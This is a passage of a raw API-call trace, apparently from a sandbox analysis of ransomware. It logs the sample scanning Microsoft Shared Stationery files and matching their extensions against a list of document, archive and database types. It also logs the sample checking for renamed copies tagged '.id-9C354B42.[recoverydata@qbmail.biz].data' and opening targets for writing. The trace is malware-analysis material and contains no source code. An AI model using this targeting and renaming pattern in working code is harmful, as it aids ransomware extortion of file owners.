lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0100.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.356] lstrlenW (lpString=".1cd") returned 4 [0100.356] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0100.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.356] lstrlenW (lpString=".jpg") returned 4 [0100.356] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0100.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.357] lstrlenW (lpString=".doc") returned 4 [0100.357] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0100.357] lstrlenW (lpString=".docx") returned 5 [0100.357] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0100.357] lstrlenW (lpString=".pdf") returned 4 [0100.357] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0100.357] lstrlenW (lpString=".xls") returned 4 [0100.357] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0100.357] lstrlenW (lpString=".xlsx") returned 5 [0100.357] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0100.357] lstrlenW (lpString=".ppt") returned 4 [0100.357] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0100.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.357] lstrlenW (lpString=".zip") returned 4 [0100.357] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0100.357] lstrlenW (lpString=".rar") returned 4 [0100.357] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0100.358] lstrlenW (lpString=".bz2") returned 4 [0100.358] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0100.358] lstrlenW (lpString=".7z") returned 3 [0100.358] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0100.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.358] lstrlenW (lpString=".dbf") returned 4 [0100.358] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0100.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.358] lstrlenW (lpString=".1cd") returned 4 [0100.358] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0100.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0100.358] lstrlenW (lpString=".jpg") returned 4 [0100.358] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0100.359] lstrcmpiW (lpString1=".emf", lpString2=".data") returned 1 [0100.359] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0100.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0100.359] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=3792) returned 1 [0100.359] CloseHandle (hObject=0x220) returned 1 [0100.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0100.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.360] lstrlenW (lpString=".doc") returned 4 [0100.360] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0100.360] lstrlenW (lpString=".docx") returned 5 [0100.360] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0100.360] lstrlenW (lpString=".pdf") returned 4 [0100.360] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0100.360] lstrlenW (lpString=".xls") returned 4 [0100.360] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0100.361] lstrlenW (lpString=".xlsx") returned 5 [0100.361] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0100.361] lstrlenW (lpString=".ppt") returned 4 [0100.361] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0100.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.361] lstrlenW (lpString=".zip") returned 4 [0100.361] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0100.361] lstrlenW (lpString=".rar") returned 4 [0100.361] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0100.361] lstrlenW (lpString=".bz2") returned 4 [0100.361] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0100.361] lstrlenW (lpString=".7z") returned 3 [0100.361] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0100.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.361] lstrlenW (lpString=".dbf") returned 4 [0100.362] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0100.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.514] lstrlenW (lpString=".1cd") returned 4 [0100.514] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0100.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.514] lstrlenW (lpString=".jpg") returned 4 [0100.515] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0100.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.515] lstrlenW (lpString=".doc") returned 4 [0100.515] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0100.515] lstrlenW (lpString=".docx") returned 5 [0100.515] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0100.515] lstrlenW (lpString=".pdf") returned 4 [0100.515] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0100.515] lstrlenW (lpString=".xls") returned 4 [0100.515] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0100.515] lstrlenW (lpString=".xlsx") returned 5 [0100.515] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0100.515] lstrlenW (lpString=".ppt") returned 4 [0100.515] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0100.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.515] lstrlenW (lpString=".zip") returned 4 [0100.515] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0100.515] lstrlenW (lpString=".rar") returned 4 [0100.515] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0100.516] lstrlenW (lpString=".bz2") returned 4 [0100.516] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0100.516] lstrlenW (lpString=".7z") returned 3 [0100.516] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0100.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.516] lstrlenW (lpString=".dbf") returned 4 [0100.516] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0100.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.516] lstrlenW (lpString=".1cd") returned 4 [0100.516] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0100.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0100.516] lstrlenW (lpString=".jpg") returned 4 [0100.516] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0100.517] lstrcmpiW (lpString1=".emf", lpString2=".data") returned 1 [0100.517] lstrlenW (lpString="Genko_2.emf") returned 11 [0100.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0100.915] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=10340) returned 1 [0100.915] CloseHandle (hObject=0x224) returned 1 [0100.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0100.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.916] lstrlenW (lpString=".doc") returned 4 [0100.916] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0100.916] lstrlenW (lpString=".docx") returned 5 [0100.916] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0100.916] lstrlenW (lpString=".pdf") returned 4 [0100.916] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0100.916] lstrlenW (lpString=".xls") returned 4 [0100.916] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0100.916] lstrlenW (lpString=".xlsx") returned 5 [0100.916] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0100.916] lstrlenW (lpString=".ppt") returned 4 [0100.916] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0100.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.916] lstrlenW (lpString=".zip") returned 4 [0100.916] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0100.917] lstrlenW (lpString=".rar") returned 4 [0100.917] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0100.917] lstrlenW (lpString=".bz2") returned 4 [0100.917] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0100.917] lstrlenW (lpString=".7z") returned 3 [0100.917] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.917] lstrlenW (lpString=".dbf") returned 4 [0100.917] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.917] lstrlenW (lpString=".1cd") returned 4 [0100.917] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.917] lstrlenW (lpString=".jpg") returned 4 [0100.917] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.917] lstrlenW (lpString=".doc") returned 4 [0100.917] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0100.917] lstrlenW (lpString=".docx") returned 5 [0100.917] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0100.917] lstrlenW (lpString=".pdf") returned 4 [0100.917] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0100.917] lstrlenW (lpString=".xls") returned 4 [0100.917] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0100.918] lstrlenW (lpString=".xlsx") returned 5 [0100.918] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0100.918] lstrlenW (lpString=".ppt") returned 4 [0100.918] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0100.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.918] lstrlenW (lpString=".zip") returned 4 [0100.918] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0100.918] lstrlenW (lpString=".rar") returned 4 [0100.918] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0100.918] lstrlenW (lpString=".bz2") returned 4 [0100.918] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0100.918] lstrlenW (lpString=".7z") returned 3 [0100.918] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0100.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.918] lstrlenW (lpString=".dbf") returned 4 [0100.918] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0100.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.918] lstrlenW (lpString=".1cd") returned 4 [0100.918] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0100.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0100.918] lstrlenW (lpString=".jpg") returned 4 [0100.918] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0100.919] lstrcmpiW (lpString1=".htm", lpString2=".data") returned 1 [0100.919] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0100.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0100.919] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=237) returned 1 [0100.920] CloseHandle (hObject=0x224) returned 1 [0100.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0100.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.920] lstrlenW (lpString=".doc") returned 4 [0100.920] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0100.920] lstrlenW (lpString=".docx") returned 5 [0100.920] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0100.920] lstrlenW (lpString=".pdf") returned 4 [0100.920] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0100.920] lstrlenW (lpString=".xls") returned 4 [0100.920] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0100.920] lstrlenW (lpString=".xlsx") returned 5 [0100.920] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0100.920] lstrlenW (lpString=".ppt") returned 4 [0100.920] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0100.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.920] lstrlenW (lpString=".zip") returned 4 [0100.921] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0100.921] lstrlenW (lpString=".rar") returned 4 [0100.921] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0100.921] lstrlenW (lpString=".bz2") returned 4 [0100.921] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0100.921] lstrlenW (lpString=".7z") returned 3 [0100.921] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0100.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.921] lstrlenW (lpString=".dbf") returned 4 [0100.921] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0100.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.921] lstrlenW (lpString=".1cd") returned 4 [0100.921] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0100.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.921] lstrlenW (lpString=".jpg") returned 4 [0100.921] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0100.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.921] lstrlenW (lpString=".doc") returned 4 [0100.921] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0100.921] lstrlenW (lpString=".docx") returned 5 [0100.921] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0100.921] lstrlenW (lpString=".pdf") returned 4 [0100.921] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0100.921] lstrlenW (lpString=".xls") returned 4 [0100.921] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0100.922] lstrlenW (lpString=".xlsx") returned 5 [0100.922] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0100.922] lstrlenW (lpString=".ppt") returned 4 [0100.922] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0100.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.922] lstrlenW (lpString=".zip") returned 4 [0100.922] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0100.922] lstrlenW (lpString=".rar") returned 4 [0100.922] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0100.922] lstrlenW (lpString=".bz2") returned 4 [0100.922] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0100.922] lstrlenW (lpString=".7z") returned 3 [0100.922] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0100.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.922] lstrlenW (lpString=".dbf") returned 4 [0100.922] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0100.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.922] lstrlenW (lpString=".1cd") returned 4 [0100.922] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0100.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0100.922] lstrlenW (lpString=".jpg") returned 4 [0100.922] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0100.922] lstrcmpiW (lpString1=".jpg", lpString2=".data") returned 1 [0100.923] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0100.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0100.923] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=6406) returned 1 [0100.923] CloseHandle (hObject=0x224) returned 1 [0100.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0100.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.923] lstrlenW (lpString=".doc") returned 4 [0100.923] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.924] lstrlenW (lpString=".docx") returned 5 [0100.924] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0100.924] lstrlenW (lpString=".pdf") returned 4 [0100.924] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.924] lstrlenW (lpString=".xls") returned 4 [0100.924] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.924] lstrlenW (lpString=".xlsx") returned 5 [0100.924] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0100.924] lstrlenW (lpString=".ppt") returned 4 [0100.924] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.924] lstrlenW (lpString=".zip") returned 4 [0100.924] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.924] lstrlenW (lpString=".rar") returned 4 [0100.924] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.924] lstrlenW (lpString=".bz2") returned 4 [0100.924] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.924] lstrlenW (lpString=".7z") returned 3 [0100.924] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.924] lstrlenW (lpString=".dbf") returned 4 [0100.924] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.924] lstrlenW (lpString=".1cd") returned 4 [0100.924] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.925] lstrlenW (lpString=".jpg") returned 4 [0100.925] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.925] lstrlenW (lpString=".doc") returned 4 [0100.925] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.925] lstrlenW (lpString=".docx") returned 5 [0100.925] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0100.925] lstrlenW (lpString=".pdf") returned 4 [0100.925] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.925] lstrlenW (lpString=".xls") returned 4 [0100.925] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.925] lstrlenW (lpString=".xlsx") returned 5 [0100.925] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0100.925] lstrlenW (lpString=".ppt") returned 4 [0100.925] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.925] lstrlenW (lpString=".zip") returned 4 [0100.925] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.925] lstrlenW (lpString=".rar") returned 4 [0100.925] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.926] lstrlenW (lpString=".bz2") returned 4 [0100.926] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.926] lstrlenW (lpString=".7z") returned 3 [0100.926] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.926] lstrlenW (lpString=".dbf") returned 4 [0100.926] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.926] lstrlenW (lpString=".1cd") returned 4 [0100.926] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0100.926] lstrlenW (lpString=".jpg") returned 4 [0100.926] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.926] lstrcmpiW (lpString1=".wmf", lpString2=".data") returned 1 [0100.926] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0100.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 